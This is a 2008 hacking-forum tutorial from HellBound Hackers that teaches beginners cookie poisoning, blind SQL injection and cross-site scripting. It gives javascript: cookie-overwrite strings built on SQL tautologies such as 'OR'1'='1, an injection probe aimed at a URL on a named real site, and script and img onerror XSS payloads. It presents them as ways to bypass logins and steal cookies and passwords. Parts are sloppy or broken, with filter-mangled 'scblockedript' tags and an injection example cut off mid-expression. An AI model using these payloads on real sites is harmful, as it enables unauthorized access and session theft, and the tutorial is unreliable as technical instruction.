Become the change you seek in the world. - Gandhi
Friday, November 21, 2008
Navigation
Donate
Has this website helped you?
px
If so, please donate a little to help out with hosting costs.
Members Online
Total Online: 62
Web Spiders: 6
Guests Online: 50
Members Online: 12

Registered Members: 36817
Newest Member: Manifestation
Most Users online: 523
Latest Articles

Basic Web Hackings For newbs and pr0\'s


advertisement



website security By me!



/**********************************************************************************************************************

Hello, this is mr me and i am going to introduce you with:

**********************************************************************************************************************/


|----------------------------------------------------------------------------------------------------------------------|
Cookie Poisoning
|----------------------------------------------------------------------------------------------------------------------|

Well, for a starters i can begin with saying that Cookie Poisoning is alot like SQL Injection

Both have 'OR'1'='1 or maybe '1'='1'

But in cookie poisoning you begin with alerting your cookies

Javascblockedript:alert(document.cookie)

Then you will perharps see "username=JohnDoe" and "password=iloveJaneDoe"

in this case the cookie poisoning could be:

Javascblockedript:void(document.cookie="username='OR'1'='1"); void(document.cookie="password='OR'1'='1");

It is also many versions of this kind... like for example

'

'1'='1'

'OR'1'='1

'OR'1'='1'OR'

and so on...

You may have to try 13 things before you get it completely right...


|----------------------------------------------------------------------------------------------------------------------|
Blind SQL Injection
|----------------------------------------------------------------------------------------------------------------------|


Well, to find out if a page is vulnerable to Blind SQL Injection you can test it this way for example:

http://www.darkmindz.com/index.php?id=2

now this query is asking the DB to SELECT (require data) FROM (required form) WHERE id = 2.

We can exploit this by adding your own special little query on the end... For example:

http://www,darkmindz.com/index.php?id=2 AND 1=


|----------------------------------------------------------------------------------------------------------------------|
XSS (Cross site scblockedripting)
|----------------------------------------------------------------------------------------------------------------------|


XSS is used by attackers to steal cookies which means that the attacker can access PHPSESSID's, username's, -

password's and all that..

How to use it?

In contact boxes or forms and all possible things you can enter something like this:

<scblockedript>alert("owned by cLtmstr")</scblockedript>


you can also use other commands like this:

<img src="banner.png" onerror="alert('owned by cLtmstr')">


So you see this can be very useful...

Try googleing for XSS to get more info about it


|----------------------------------------------------------------------------------------------------------------------|
Thanks for looking at my article, please rate and comment...
|----------------------------------------------------------------------------------------------------------------------|


/***********************************************************************************************************************

Ending Transmission_

***********************************************************************************************************************/
Guest
Username

Password

Remember Me


Bookmark This Page
Affiliates
Adverts

 


By using, viewing or obtaining any information contained on this site, you agree to the disclaimer.

© HellBound Hackers 2007- 2008. Since 3rd December 2004.